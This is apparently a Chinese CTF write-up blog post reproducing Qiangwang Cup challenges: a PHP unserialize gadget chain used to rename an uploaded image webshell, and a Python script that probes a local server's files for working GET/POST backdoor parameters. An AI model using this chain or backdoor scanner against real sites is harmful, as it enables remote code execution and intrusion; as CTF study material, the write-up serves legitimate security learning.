Fork me on GitHub

qwb复现

复现一些qwb的题目

upload

可以通过dirsearch找到泄露的源码 , -u指定url, -e指定插件
如果是代码审计题,而且是文件很多的,需要找到利用点,我们直接搜索unserialize找到一处可以利用的代码:

1
2
3
4
5
6
7
8
9
10
11
12
public function login_check(){
$profile=cookie('user'); //获取到cookie中的user值
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile)); //直接反序列化
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}

接下来去寻找哪里调用了这个方法,在Profile这个类中

1
2
3
4
5
6
7
8
9
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
...

upload_img方法会调用login_check反序列化

而这个操作中的 \$this->ext、\$this->filename_tmp、$this->filename 均可通过反序列化控制。

同时在Profile.php文件的末尾还有一处

1
2
3
4
5
6
7
8
9
10
11
public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

这两个函数的意思是如果访问了类中的private属性,就会调用__get方法,如果调用了类中不存在的方法,就会通过__call$this->name所指向的方法进行调用

意味着我们可以调用任意的类方法

同时在Register.php中有一处:

1
2
3
4
5
6
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

首先上传一个图片马,之后通过Register类的__destruct方法,调用__get方法得到函数名upload_img,再调用__call方法,通过调用upload_img可以对图片马进行改名

如果我们将$this->checker赋值为Profile类,由于Profile类中不存在index方法,就会触发__call,这样就能构造一条完成的攻击链

高明的黑客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import os,re
import requests
filenames = os.listdir('/var/www/html/src')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
print(name)
with open('/var/www/html/src/'+name,'r') as f:
data = f.read()
result = list(set(pattern.findall(data)))

for ret in result:
try:
command = 'uname'
flag = 'Linux'
# command = 'phpinfo();'
# flag = 'phpinfo'
if 'GET' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.get(url='http://127.0.0.1:8888/' + name + '?' + passwd + '='+ command)
if flag in r.text:
print('backdoor file is: ' + name)
print('GET: ' + passwd)
elif 'POST' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.post(url='http://127.0.0.1:8888/' + name,data={passwd:command})
if flag in r.text:
print('backdoor file is: ' + name)
print('POST: ' + passwd)
except : pass